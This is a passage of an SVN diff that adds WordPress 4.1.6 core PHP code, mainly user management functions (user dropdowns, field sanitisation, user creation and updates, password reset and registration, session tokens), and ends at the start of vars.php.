+ *     @type string       $id                      ID attribute of the select element. Default is the value of $name.
+ *     @type string       $class                   Class attribute of the select element. Default empty.
+ *     @type int          $blog_id                 ID of blog (Multisite only). Default is ID of the current blog.
+ *     @type string       $who                     Which type of users to query. Accepts only an empty string or
+ *                                                 'authors'. Default empty.
+ * }
+ * @return string|null Null on display. String of HTML content on retrieve.
+ */
+function wp_dropdown_users( $args = '' ) {
+	$defaults = array(
+		'show_option_all' => '', 'show_option_none' => '', 'hide_if_only_one_author' => '',
+		'orderby' => 'display_name', 'order' => 'ASC',
+		'include' => '', 'exclude' => '', 'multi' => 0,
+		'show' => 'display_name', 'echo' => 1,
+		'selected' => 0, 'name' => 'user', 'class' => '', 'id' => '',
+		'blog_id' => $GLOBALS['blog_id'], 'who' => '', 'include_selected' => false,
+		'option_none_value' => -1
+	);
+
+	$defaults['selected'] = is_author() ? get_query_var( 'author' ) : 0;
+
+	$r = wp_parse_args( $args, $defaults );
+	$show = $r['show'];
+	$show_option_all = $r['show_option_all'];
+	$show_option_none = $r['show_option_none'];
+	$option_none_value = $r['option_none_value'];
+
+	$query_args = wp_array_slice_assoc( $r, array( 'blog_id', 'include', 'exclude', 'orderby', 'order', 'who' ) );
+	$query_args['fields'] = array( 'ID', 'user_login', $show );
+	$users = get_users( $query_args );
+
+	$output = '';
+	if ( ! empty( $users ) && ( empty( $r['hide_if_only_one_author'] ) || count( $users ) > 1 ) ) {
+		$name = esc_attr( $r['name'] );
+		if ( $r['multi'] && ! $r['id'] ) {
+			$id = '';
+		} else {
+			$id = $r['id'] ? " id='" . esc_attr( $r['id'] ) . "'" : " id='$name'";
+		}
+		$output = "<select name='{$name}'{$id} class='" . $r['class'] . "'>\n";
+
+		if ( $show_option_all ) {
+			$output .= "\t<option value='0'>$show_option_all</option>\n";
+		}
+
+		if ( $show_option_none ) {
+			$_selected = selected( $option_none_value, $r['selected'], false );
+			$output .= "\t<option value='" . esc_attr( $option_none_value ) . "'$_selected>$show_option_none</option>\n";
+		}
+
+		$found_selected = false;
+		foreach ( (array) $users as $user ) {
+			$user->ID = (int) $user->ID;
+			$_selected = selected( $user->ID, $r['selected'], false );
+			if ( $_selected ) {
+				$found_selected = true;
+			}
+			$display = ! empty( $user->$show ) ? $user->$show : '('. $user->user_login . ')';
+			$output .= "\t<option value='$user->ID'$_selected>" . esc_html( $display ) . "</option>\n";
+		}
+
+		if ( $r['include_selected'] && ! $found_selected && ( $r['selected'] > 0 ) ) {
+			$user = get_userdata( $r['selected'] );
+			$_selected = selected( $user->ID, $r['selected'], false );
+			$display = ! empty( $user->$show ) ? $user->$show : '('. $user->user_login . ')';
+			$output .= "\t<option value='$user->ID'$_selected>" . esc_html( $display ) . "</option>\n";
+		}
+
+		$output .= "</select>";
+	}
+
+	/**
+	 * Filter the wp_dropdown_users() HTML output.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $output HTML output generated by wp_dropdown_users().
+	 */
+	$html = apply_filters( 'wp_dropdown_users', $output );
+
+	if ( $r['echo'] ) {
+		echo $html;
+	}
+	return $html;
+}
+
+/**
+ * Sanitize user field based on context.
+ *
+ * Possible context values are:  'raw', 'edit', 'db', 'display', 'attribute' and 'js'. The
+ * 'display' context is used by default. 'attribute' and 'js' contexts are treated like 'display'
+ * when calling filters.
+ *
+ * @since 2.3.0
+ *
+ * @param string $field The user Object field name.
+ * @param mixed $value The user Object value.
+ * @param int $user_id user ID.
+ * @param string $context How to sanitize user fields. Looks for 'raw', 'edit', 'db', 'display',
+ *               'attribute' and 'js'.
+ * @return mixed Sanitized value.
+ */
+function sanitize_user_field($field, $value, $user_id, $context) {
+	$int_fields = array('ID');
+	if ( in_array($field, $int_fields) )
+		$value = (int) $value;
+
+	if ( 'raw' == $context )
+		return $value;
+
+	if ( !is_string($value) && !is_numeric($value) )
+		return $value;
+
+	$prefixed = false !== strpos( $field, 'user_' );
+
+	if ( 'edit' == $context ) {
+		if ( $prefixed ) {
+
+			/** This filter is documented in wp-includes/post.php */
+			$value = apply_filters( "edit_{$field}", $value, $user_id );
+		} else {
+
+			/**
+			 * Filter a user field value in the 'edit' context.
+			 *
+			 * The dynamic portion of the hook name, `$field`, refers to the prefixed user
+			 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @param mixed $value   Value of the prefixed user field.
+			 * @param int   $user_id User ID.
+			 */
+			$value = apply_filters( "edit_user_{$field}", $value, $user_id );
+		}
+
+		if ( 'description' == $field )
+			$value = esc_html( $value ); // textarea_escaped?
+		else
+			$value = esc_attr($value);
+	} else if ( 'db' == $context ) {
+		if ( $prefixed ) {
+			/** This filter is documented in wp-includes/post.php */
+			$value = apply_filters( "pre_{$field}", $value );
+		} else {
+
+			/**
+			 * Filter the value of a user field in the 'db' context.
+			 *
+			 * The dynamic portion of the hook name, `$field`, refers to the prefixed user
+			 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
+ 			 *
+			 * @since 2.9.0
+			 *
+			 * @param mixed $value Value of the prefixed user field.
+			 */
+			$value = apply_filters( "pre_user_{$field}", $value );
+		}
+	} else {
+		// Use display filters by default.
+		if ( $prefixed ) {
+
+			/** This filter is documented in wp-includes/post.php */
+			$value = apply_filters( $field, $value, $user_id, $context );
+		} else {
+
+			/**
+			 * Filter the value of a user field in a standard context.
+			 *
+			 * The dynamic portion of the hook name, `$field`, refers to the prefixed user
+			 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @param mixed  $value   The user object value to sanitize.
+			 * @param int    $user_id User ID.
+			 * @param string $context The context to filter within.
+			 */
+			$value = apply_filters( "user_{$field}", $value, $user_id, $context );
+		}
+	}
+
+	if ( 'user_url' == $field )
+		$value = esc_url($value);
+
+	if ( 'attribute' == $context )
+		$value = esc_attr($value);
+	else if ( 'js' == $context )
+		$value = esc_js($value);
+
+	return $value;
+}
+
+/**
+ * Update all user caches
+ *
+ * @since 3.0.0
+ *
+ * @param object $user User object to be cached
+ */
+function update_user_caches($user) {
+	wp_cache_add($user->ID, $user, 'users');
+	wp_cache_add($user->user_login, $user->ID, 'userlogins');
+	wp_cache_add($user->user_email, $user->ID, 'useremail');
+	wp_cache_add($user->user_nicename, $user->ID, 'userslugs');
+}
+
+/**
+ * Clean all user caches
+ *
+ * @since 3.0.0
+ *
+ * @param WP_User|int $user User object or ID to be cleaned from the cache
+ */
+function clean_user_cache( $user ) {
+	if ( is_numeric( $user ) )
+		$user = new WP_User( $user );
+
+	if ( ! $user->exists() )
+		return;
+
+	wp_cache_delete( $user->ID, 'users' );
+	wp_cache_delete( $user->user_login, 'userlogins' );
+	wp_cache_delete( $user->user_email, 'useremail' );
+	wp_cache_delete( $user->user_nicename, 'userslugs' );
+}
+
+/**
+ * Checks whether the given username exists.
+ *
+ * @since 2.0.0
+ *
+ * @param string $username Username.
+ * @return null|int The user's ID on success, and null on failure.
+ */
+function username_exists( $username ) {
+	if ( $user = get_user_by('login', $username ) ) {
+		return $user->ID;
+	} else {
+		return null;
+	}
+}
+
+/**
+ * Checks whether the given email exists.
+ *
+ * @since 2.1.0
+ *
+ * @param string $email Email.
+ * @return bool|int The user's ID on success, and false on failure.
+ */
+function email_exists( $email ) {
+	if ( $user = get_user_by('email', $email) )
+		return $user->ID;
+
+	return false;
+}
+
+/**
+ * Checks whether an username is valid.
+ *
+ * @since 2.0.1
+ *
+ * @param string $username Username.
+ * @return bool Whether username given is valid
+ */
+function validate_username( $username ) {
+	$sanitized = sanitize_user( $username, true );
+	$valid = ( $sanitized == $username );
+	/**
+	 * Filter whether the provided username is valid or not.
+	 *
+	 * @since 2.0.1
+	 *
+	 * @param bool   $valid    Whether given username is valid.
+	 * @param string $username Username to check.
+	 */
+	return apply_filters( 'validate_username', $valid, $username );
+}
+
+/**
+ * Insert an user into the database.
+ *
+ * Most of the $userdata array fields have filters associated with the values.
+ * The exceptions are 'rich_editing', 'role', 'jabber', 'aim', 'yim',
+ * 'user_registered', and 'ID'. The filters have the prefix 'pre_user_' followed
+ * by the field name. An example using 'description' would have the filter
+ * called, 'pre_user_description' that can be hooked into.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database object for queries.
+ *
+ * @param array $userdata {
+ *     An array, object, or WP_User object of user data arguments.
+ *
+ *     @type int         $ID              User ID. If supplied, the user will be updated.
+ *     @type string      $user_pass       The plain-text user password.
+ *     @type string      $user_login      The user's login username.
+ *     @type string      $user_nicename   The URL-friendly user name.
+ *     @type string      $user_url        The user URL.
+ *     @type string      $user_email      The user email address.
+ *     @type string      $display_name    The user's display name.
+ *                                        Default is the the user's username.
+ *     @type string      $nickname        The user's nickname. Default
+ *                                        Default is the the user's username.
+ *     @type string      $first_name      The user's first name. For new users, will be used
+ *                                        to build $display_name if unspecified.
+ *     @type stirng      $last_name       The user's last name. For new users, will be used
+ *                                        to build $display_name if unspecified.
+ *     @type string|bool $rich_editing    Whether to enable the rich-editor for the user. False
+ *                                        if not empty.
+ *     @type string      $date_registered Date the user registered. Format is 'Y-m-d H:i:s'.
+ *     @type string      $role            User's role.
+ *     @type string      $jabber          User's Jabber account username.
+ *     @type string      $aim             User's AIM account username.
+ *     @type string      $yim             User's Yahoo! messenger username.
+ * }
+ * @return int|WP_Error The newly created user's ID or a WP_Error object if the user could not
+ *                      be created.
+ */
+function wp_insert_user( $userdata ) {
+	global $wpdb;
+
+	if ( is_a( $userdata, 'stdClass' ) ) {
+		$userdata = get_object_vars( $userdata );
+	} elseif ( is_a( $userdata, 'WP_User' ) ) {
+		$userdata = $userdata->to_array();
+	}
+	// Are we updating or creating?
+	if ( ! empty( $userdata['ID'] ) ) {
+		$ID = (int) $userdata['ID'];
+		$update = true;
+		$old_user_data = WP_User::get_data_by( 'id', $ID );
+		// hashed in wp_update_user(), plaintext if called directly
+		$user_pass = $userdata['user_pass'];
+	} else {
+		$update = false;
+		// Hash the password
+		$user_pass = wp_hash_password( $userdata['user_pass'] );
+	}
+
+	$sanitized_user_login = sanitize_user( $userdata['user_login'], true );
+
+	/**
+	 * Filter a username after it has been sanitized.
+	 *
+	 * This filter is called before the user is created or updated.
+	 *
+	 * @since 2.0.3
+	 *
+	 * @param string $sanitized_user_login Username after it has been sanitized.
+	 */
+	$pre_user_login = apply_filters( 'pre_user_login', $sanitized_user_login );
+
+	//Remove any non-printable chars from the login string to see if we have ended up with an empty username
+	$user_login = trim( $pre_user_login );
+
+	if ( empty( $user_login ) ) {
+		return new WP_Error('empty_user_login', __('Cannot create a user with an empty login name.') );
+	}
+	if ( ! $update && username_exists( $user_login ) ) {
+		return new WP_Error( 'existing_user_login', __( 'Sorry, that username already exists!' ) );
+	}
+
+	// If a nicename is provided, remove unsafe user characters before
+	// using it. Otherwise build a nicename from the user_login.
+	if ( ! empty( $userdata['user_nicename'] ) ) {
+		$user_nicename = sanitize_user( $userdata['user_nicename'], true );
+	} else {
+		$user_nicename = $user_login;
+	}
+
+	$user_nicename = sanitize_title( $user_nicename );
+
+	// Store values to save in user meta.
+	$meta = array();
+
+	/**
+	 * Filter a user's nicename before the user is created or updated.
+	 *
+	 * @since 2.0.3
+	 *
+	 * @param string $user_nicename The user's nicename.
+	 */
+	$user_nicename = apply_filters( 'pre_user_nicename', $user_nicename );
+
+	$raw_user_url = empty( $userdata['user_url'] ) ? '' : $userdata['user_url'];
+
+	/**
+	 * Filter a user's URL before the user is created or updated.
+	 *
+	 * @since 2.0.3
+	 *
+	 * @param string $raw_user_url The user's URL.
+	 */
+	$user_url = apply_filters( 'pre_user_url', $raw_user_url );
+
+	$raw_user_email = empty( $userdata['user_email'] ) ? '' : $userdata['user_email'];
+
+	/**
+	 * Filter a user's email before the user is created or updated.
+	 *
+	 * @since 2.0.3
+	 *
+	 * @param string $raw_user_email The user's email.
+	 */
+	$user_email = apply_filters( 'pre_user_email', $raw_user_email );
+
+	if ( ! $update && ! defined( 'WP_IMPORTING' ) && email_exists( $user_email ) ) {
+		return new WP_Error( 'existing_user_email', __( 'Sorry, that email address is already used!' ) );
+	}
+	$nickname = empty( $userdata['nickname'] ) ? $user_login : $userdata['nickname'];
+
+	/**
+	 * Filter a user's nickname before the user is created or updated.
+	 *
+	 * @since 2.0.3
+	 *
+	 * @param string $nickname The user's nickname.
+	 */
+	$meta['nickname'] = apply_filters( 'pre_user_nickname', $nickname );
+
+	$first_name = empty( $userdata['first_name'] ) ? '' : $userdata['first_name'];
+
+	/**
+	 * Filter a user's first name before the user is created or updated.
+	 *
+	 * @since 2.0.3
+	 *
+	 * @param string $first_name The user's first name.
+	 */
+	$meta['first_name'] = apply_filters( 'pre_user_first_name', $first_name );
+
+	$last_name = empty( $userdata['last_name'] ) ? '' : $userdata['last_name'];
+
+	/**
+	 * Filter a user's last name before the user is created or updated.
+	 *
+	 * @since 2.0.3
+	 *
+	 * @param string $last_name The user's last name.
+	 */
+	$meta['last_name'] = apply_filters( 'pre_user_last_name', $last_name );
+
+	if ( empty( $userdata['display_name'] ) ) {
+		if ( $update ) {
+			$display_name = $user_login;
+		} elseif ( $meta['first_name'] && $meta['last_name'] ) {
+			/* translators: 1: first name, 2: last name */
+			$display_name = sprintf( _x( '%1$s %2$s', 'Display name based on first name and last name' ), $meta['first_name'], $meta['last_name'] );
+		} elseif ( $meta['first_name'] ) {
+			$display_name = $meta['first_name'];
+		} elseif ( $meta['last_name'] ) {
+			$display_name = $meta['last_name'];
+		} else {
+			$display_name = $user_login;
+		}
+	} else {
+		$display_name = $userdata['display_name'];
+	}
+
+	/**
+	 * Filter a user's display name before the user is created or updated.
+	 *
+	 * @since 2.0.3
+	 *
+	 * @param string $display_name The user's display name.
+	 */
+	$display_name = apply_filters( 'pre_user_display_name', $display_name );
+
+	$description = empty( $userdata['description'] ) ? '' : $userdata['description'];
+
+	/**
+	 * Filter a user's description before the user is created or updated.
+	 *
+	 * @since 2.0.3
+	 *
+	 * @param string $description The user's description.
+	 */
+	$meta['description'] = apply_filters( 'pre_user_description', $description );
+
+	$meta['rich_editing'] = empty( $userdata['rich_editing'] ) ? 'true' : $userdata['rich_editing'];
+
+	$meta['comment_shortcuts'] = empty( $userdata['comment_shortcuts'] ) ? 'false' : $userdata['comment_shortcuts'];
+
+	$admin_color = empty( $userdata['admin_color'] ) ? 'fresh' : $userdata['admin_color'];
+	$meta['admin_color'] = preg_replace( '|[^a-z0-9 _.\-@]|i', '', $admin_color );
+
+	$meta['use_ssl'] = empty( $userdata['use_ssl'] ) ? 0 : $userdata['use_ssl'];
+
+	$user_registered = empty( $userdata['user_registered'] ) ? gmdate( 'Y-m-d H:i:s' ) : $userdata['user_registered'];
+
+	$meta['show_admin_bar_front'] = empty( $userdata['show_admin_bar_front'] ) ? 'true' : $userdata['show_admin_bar_front'];
+
+	$user_nicename_check = $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1" , $user_nicename, $user_login));
+
+	if ( $user_nicename_check ) {
+		$suffix = 2;
+		while ($user_nicename_check) {
+			$alt_user_nicename = $user_nicename . "-$suffix";
+			$user_nicename_check = $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1" , $alt_user_nicename, $user_login));
+			$suffix++;
+		}
+		$user_nicename = $alt_user_nicename;
+	}
+
+	$compacted = compact( 'user_pass', 'user_email', 'user_url', 'user_nicename', 'display_name', 'user_registered' );
+	$data = wp_unslash( $compacted );
+
+	if ( $update ) {
+		if ( $user_email !== $old_user_data->user_email ) {
+			$data['user_activation_key'] = '';
+		}
+		$wpdb->update( $wpdb->users, $data, compact( 'ID' ) );
+		$user_id = (int) $ID;
+	} else {
+		$wpdb->insert( $wpdb->users, $data + compact( 'user_login' ) );
+		$user_id = (int) $wpdb->insert_id;
+	}
+
+	$user = new WP_User( $user_id );
+
+	// Update user meta.
+	foreach ( $meta as $key => $value ) {
+		update_user_meta( $user_id, $key, $value );
+	}
+
+	foreach ( wp_get_user_contact_methods( $user ) as $key => $value ) {
+		if ( isset( $userdata[ $key ] ) ) {
+			update_user_meta( $user_id, $key, $userdata[ $key ] );
+		}
+	}
+
+	if ( isset( $userdata['role'] ) ) {
+		$user->set_role( $userdata['role'] );
+	} elseif ( ! $update ) {
+		$user->set_role(get_option('default_role'));
+	}
+	wp_cache_delete( $user_id, 'users' );
+	wp_cache_delete( $user_login, 'userlogins' );
+
+	if ( $update ) {
+		/**
+		 * Fires immediately after an existing user is updated.
+		 *
+		 * @since 2.0.0
+		 *
+		 * @param int    $user_id       User ID.
+		 * @param object $old_user_data Object containing user's data prior to update.
+		 */
+		do_action( 'profile_update', $user_id, $old_user_data );
+	} else {
+		/**
+		 * Fires immediately after a new user is registered.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param int $user_id User ID.
+		 */
+		do_action( 'user_register', $user_id );
+	}
+
+	return $user_id;
+}
+
+/**
+ * Update an user in the database.
+ *
+ * It is possible to update a user's password by specifying the 'user_pass'
+ * value in the $userdata parameter array.
+ *
+ * If current user's password is being updated, then the cookies will be
+ * cleared.
+ *
+ * @since 2.0.0
+ *
+ * @see wp_insert_user() For what fields can be set in $userdata.
+ *
+ * @param mixed $userdata An array of user data or a user object of type stdClass or WP_User.
+ * @return int|WP_Error The updated user's ID or a WP_Error object if the user could not be updated.
+ */
+function wp_update_user($userdata) {
+	if ( is_a( $userdata, 'stdClass' ) )
+		$userdata = get_object_vars( $userdata );
+	elseif ( is_a( $userdata, 'WP_User' ) )
+		$userdata = $userdata->to_array();
+
+	$ID = (int) $userdata['ID'];
+
+	// First, get all of the original fields
+	$user_obj = get_userdata( $ID );
+	if ( ! $user_obj )
+		return new WP_Error( 'invalid_user_id', __( 'Invalid user ID.' ) );
+
+	$user = $user_obj->to_array();
+
+	// Add additional custom fields
+	foreach ( _get_additional_user_keys( $user_obj ) as $key ) {
+		$user[ $key ] = get_user_meta( $ID, $key, true );
+	}
+
+	// Escape data pulled from DB.
+	$user = add_magic_quotes( $user );
+
+	// If password is changing, hash it now.
+	if ( ! empty($userdata['user_pass']) ) {
+		$plaintext_pass = $userdata['user_pass'];
+		$userdata['user_pass'] = wp_hash_password($userdata['user_pass']);
+	}
+
+	wp_cache_delete($user[ 'user_email' ], 'useremail');
+
+	// Merge old and new fields with new fields overwriting old ones.
+	$userdata = array_merge($user, $userdata);
+	$user_id = wp_insert_user($userdata);
+
+	// Update the cookies if the password changed.
+	$current_user = wp_get_current_user();
+	if ( $current_user->ID == $ID ) {
+		if ( isset($plaintext_pass) ) {
+			wp_clear_auth_cookie();
+
+			// Here we calculate the expiration length of the current auth cookie and compare it to the default expiration.
+			// If it's greater than this, then we know the user checked 'Remember Me' when they logged in.
+			$logged_in_cookie    = wp_parse_auth_cookie( '', 'logged_in' );
+			/** This filter is documented in wp-includes/pluggable.php */
+			$default_cookie_life = apply_filters( 'auth_cookie_expiration', ( 2 * DAY_IN_SECONDS ), $ID, false );
+			$remember            = ( ( $logged_in_cookie['expiration'] - time() ) > $default_cookie_life );
+
+			wp_set_auth_cookie( $ID, $remember );
+		}
+	}
+
+	return $user_id;
+}
+
+/**
+ * A simpler way of inserting an user into the database.
+ *
+ * Creates a new user with just the username, password, and email. For more
+ * complex user creation use {@see wp_insert_user()} to specify more information.
+ *
+ * @since 2.0.0
+ * @see wp_insert_user() More complete way to create a new user
+ *
+ * @param string $username The user's username.
+ * @param string $password The user's password.
+ * @param string $email    Optional. The user's email. Default empty.
+ * @return int The new user's ID.
+ */
+function wp_create_user($username, $password, $email = '') {
+	$user_login = wp_slash( $username );
+	$user_email = wp_slash( $email    );
+	$user_pass = $password;
+
+	$userdata = compact('user_login', 'user_email', 'user_pass');
+	return wp_insert_user($userdata);
+}
+
+/**
+ * Return a list of meta keys that wp_insert_user() is supposed to set.
+ *
+ * @since 3.3.0
+ * @access private
+ *
+ * @param WP_User $user WP_User instance.
+ * @return array
+ */
+function _get_additional_user_keys( $user ) {
+	$keys = array( 'first_name', 'last_name', 'nickname', 'description', 'rich_editing', 'comment_shortcuts', 'admin_color', 'use_ssl', 'show_admin_bar_front' );
+	return array_merge( $keys, array_keys( wp_get_user_contact_methods( $user ) ) );
+}
+
+/**
+ * Set up the user contact methods.
+ *
+ * Default contact methods were removed in 3.6. A filter dictates contact methods.
+ *
+ * @since 3.7.0
+ *
+ * @param WP_User $user Optional. WP_User object.
+ * @return array Array of contact methods and their labels.
+ */
+function wp_get_user_contact_methods( $user = null ) {
+	$methods = array();
+	if ( get_site_option( 'initial_db_version' ) < 23588 ) {
+		$methods = array(
+			'aim'    => __( 'AIM' ),
+			'yim'    => __( 'Yahoo IM' ),
+			'jabber' => __( 'Jabber / Google Talk' )
+		);
+	}
+
+	/**
+	 * Filter the user contact methods.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param array   $methods Array of contact methods and their labels.
+ 	 * @param WP_User $user    WP_User object.
+	 */
+	return apply_filters( 'user_contactmethods', $methods, $user );
+}
+
+/**
+ * The old private function for setting up user contact methods.
+ *
+ * @since 2.9.0
+ * @access private
+ */
+function _wp_get_user_contactmethods( $user = null ) {
+	return wp_get_user_contact_methods( $user );
+}
+
+/**
+ * Gets the text suggesting how to create strong passwords.
+ *
+ * @since 4.1.0
+ *
+ * @return string The password hint text.
+ */
+function wp_get_password_hint() {
+	$hint = __( 'Hint: The password should be at least seven characters long. To make it stronger, use upper and lower case letters, numbers, and symbols like ! " ? $ % ^ &amp; ).' );
+
+	/**
+	 * Filter the text describing the site's password complexity policy.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param string $hint The password hint text.
+	 */
+	return apply_filters( 'password_hint', $hint );
+}
+
+/**
+ * Retrieves a user row based on password reset key and login
+ *
+ * A key is considered 'expired' if it exactly matches the value of the
+ * user_activation_key field, rather than being matched after going through the
+ * hashing process. This field is now hashed; old values are no longer accepted
+ * but have a different WP_Error code so good user feedback can be provided.
+ *
+ * @global wpdb $wpdb WordPress database object for queries.
+ *
+ * @param string $key       Hash to validate sending user's password.
+ * @param string $login     The user login.
+ * @return WP_User|WP_Error WP_User object on success, WP_Error object for invalid or expired keys.
+ */
+function check_password_reset_key($key, $login) {
+	global $wpdb, $wp_hasher;
+
+	$key = preg_replace('/[^a-z0-9]/i', '', $key);
+
+	if ( empty( $key ) || !is_string( $key ) )
+		return new WP_Error('invalid_key', __('Invalid key'));
+
+	if ( empty($login) || !is_string($login) )
+		return new WP_Error('invalid_key', __('Invalid key'));
+
+	$row = $wpdb->get_row( $wpdb->prepare( "SELECT ID, user_activation_key FROM $wpdb->users WHERE user_login = %s", $login ) );
+	if ( ! $row )
+		return new WP_Error('invalid_key', __('Invalid key'));
+
+	if ( empty( $wp_hasher ) ) {
+		require_once ABSPATH . WPINC . '/class-phpass.php';
+		$wp_hasher = new PasswordHash( 8, true );
+	}
+
+	if ( $wp_hasher->CheckPassword( $key, $row->user_activation_key ) )
+		return get_userdata( $row->ID );
+
+	if ( $key === $row->user_activation_key ) {
+		$return = new WP_Error( 'expired_key', __( 'Invalid key' ) );
+		$user_id = $row->ID;
+
+		/**
+		 * Filter the return value of check_password_reset_key() when an
+		 * old-style key is used (plain-text key was stored in the database).
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param WP_Error $return  A WP_Error object denoting an expired key.
+		 *                          Return a WP_User object to validate the key.
+		 * @param int      $user_id The matched user ID.
+		 */
+		return apply_filters( 'password_reset_key_expired', $return, $user_id );
+	}
+
+	return new WP_Error( 'invalid_key', __( 'Invalid key' ) );
+}
+
+/**
+ * Handles resetting the user's password.
+ *
+ * @param object $user The user
+ * @param string $new_pass New password for the user in plaintext
+ */
+function reset_password( $user, $new_pass ) {
+	/**
+	 * Fires before the user's password is reset.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param object $user     The user.
+	 * @param string $new_pass New user password.
+	 */
+	do_action( 'password_reset', $user, $new_pass );
+
+	wp_set_password( $new_pass, $user->ID );
+	update_user_option( $user->ID, 'default_password_nag', false, true );
+
+	wp_password_change_notification( $user );
+}
+
+/**
+ * Handles registering a new user.
+ *
+ * @param string $user_login User's username for logging in
+ * @param string $user_email User's email address to send password and add
+ * @return int|WP_Error Either user's ID or error on failure.
+ */
+function register_new_user( $user_login, $user_email ) {
+	$errors = new WP_Error();
+
+	$sanitized_user_login = sanitize_user( $user_login );
+	/**
+	 * Filter the email address of a user being registered.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $user_email The email address of the new user.
+	 */
+	$user_email = apply_filters( 'user_registration_email', $user_email );
+
+	// Check the username
+	if ( $sanitized_user_login == '' ) {
+		$errors->add( 'empty_username', __( '<strong>ERROR</strong>: Please enter a username.' ) );
+	} elseif ( ! validate_username( $user_login ) ) {
+		$errors->add( 'invalid_username', __( '<strong>ERROR</strong>: This username is invalid because it uses illegal characters. Please enter a valid username.' ) );
+		$sanitized_user_login = '';
+	} elseif ( username_exists( $sanitized_user_login ) ) {
+		$errors->add( 'username_exists', __( '<strong>ERROR</strong>: This username is already registered. Please choose another one.' ) );
+	}
+
+	// Check the e-mail address
+	if ( $user_email == '' ) {
+		$errors->add( 'empty_email', __( '<strong>ERROR</strong>: Please type your e-mail address.' ) );
+	} elseif ( ! is_email( $user_email ) ) {
+		$errors->add( 'invalid_email', __( '<strong>ERROR</strong>: The email address isn&#8217;t correct.' ) );
+		$user_email = '';
+	} elseif ( email_exists( $user_email ) ) {
+		$errors->add( 'email_exists', __( '<strong>ERROR</strong>: This email is already registered, please choose another one.' ) );
+	}
+
+	/**
+	 * Fires when submitting registration form data, before the user is created.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string   $sanitized_user_login The submitted username after being sanitized.
+	 * @param string   $user_email           The submitted email.
+	 * @param WP_Error $errors               Contains any errors with submitted username and email,
+	 *                                       e.g., an empty field, an invalid username or email,
+	 *                                       or an existing username or email.
+	 */
+	do_action( 'register_post', $sanitized_user_login, $user_email, $errors );
+
+	/**
+	 * Filter the errors encountered when a new user is being registered.
+	 *
+	 * The filtered WP_Error object may, for example, contain errors for an invalid
+	 * or existing username or email address. A WP_Error object should always returned,
+	 * but may or may not contain errors.
+	 *
+	 * If any errors are present in $errors, this will abort the user's registration.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param WP_Error $errors               A WP_Error object containing any errors encountered
+	 *                                       during registration.
+	 * @param string   $sanitized_user_login User's username after it has been sanitized.
+	 * @param string   $user_email           User's email.
+	 */
+	$errors = apply_filters( 'registration_errors', $errors, $sanitized_user_login, $user_email );
+
+	if ( $errors->get_error_code() )
+		return $errors;
+
+	$user_pass = wp_generate_password( 12, false );
+	$user_id = wp_create_user( $sanitized_user_login, $user_pass, $user_email );
+	if ( ! $user_id || is_wp_error( $user_id ) ) {
+		$errors->add( 'registerfail', sprintf( __( '<strong>ERROR</strong>: Couldn&#8217;t register you&hellip; please contact the <a href="mailto:%s">webmaster</a> !' ), get_option( 'admin_email' ) ) );
+		return $errors;
+	}
+
+	update_user_option( $user_id, 'default_password_nag', true, true ); //Set up the Password change nag.
+
+	wp_new_user_notification( $user_id, $user_pass );
+
+	return $user_id;
+}
+
+/**
+ * Retrieve the current session token from the logged_in cookie.
+ *
+ * @since 4.0.0
+ *
+ * @return string Token.
+ */
+function wp_get_session_token() {
+	$cookie = wp_parse_auth_cookie( '', 'logged_in' );
+	return ! empty( $cookie['token'] ) ? $cookie['token'] : '';
+}
+
+/**
+ * Retrieve a list of sessions for the current user.
+ *
+ * @since 4.0.0
+ * @return array Array of sessions.
+ */
+function wp_get_all_sessions() {
+	$manager = WP_Session_Tokens::get_instance( get_current_user_id() );
+	return $manager->get_all();
+}
+
+/**
+ * Remove the current session token from the database.
+ *
+ * @since 4.0.0
+ */
+function wp_destroy_current_session() {
+	$token = wp_get_session_token();
+	if ( $token ) {
+		$manager = WP_Session_Tokens::get_instance( get_current_user_id() );
+		$manager->destroy( $token );
+	}
+}
+
+/**
+ * Remove all but the current session token for the current user for the database.
+ *
+ * @since 4.0.0
+ */
+function wp_destroy_other_sessions() {
+	$token = wp_get_session_token();
+	if ( $token ) {
+		$manager = WP_Session_Tokens::get_instance( get_current_user_id() );
+		$manager->destroy_others( $token );
+	}
+}
+
+/**
+ * Remove all session tokens for the current user from the database.
+ *
+ * @since 4.0.0
+ */
+function wp_destroy_all_sessions() {
+	$manager = WP_Session_Tokens::get_instance( get_current_user_id() );
+	$manager->destroy_all();
+}
Index: /tags/4.1.6/src/wp-includes/vars.php
===================================================================
--- /tags/4.1.6/src/wp-includes/vars.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/vars.php	(revision 33402)
@@ -0,0 +1,144 @@
+<?php
+/**
+ * Creates common globals for the rest of WordPress
+ *
+ * Sets $pagenow global which is the current page. Checks
+ * for the browser to set which one is currently being used.
+ *
+ * Detects which user environment WordPress is being used on.
+ * Only attempts to check for Apache, Nginx and IIS -- three web
+ * servers with known pretty permalink capability.
+ *
+ * Note: Though Nginx is detected, WordPress does not currently
+ * generate rewrite rules for it. See http://codex.wordpress.org/Nginx
+ *
+ * @package WordPress
+ */
+
+global $pagenow,
+	$is_lynx, $is_gecko, $is_winIE, $is_macIE, $is_opera, $is_NS4, $is_safari, $is_chrome, $is_iphone, $is_IE,
+	$is_apache, $is_IIS, $is_iis7, $is_nginx;
+
+// On which page are we ?
+if ( is_admin() ) {
+	// wp-admin pages are checked more carefully
+	if ( is_network_admin() )
+		preg_match('#/wp-admin/network/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches);
+	elseif ( is_user_admin() )
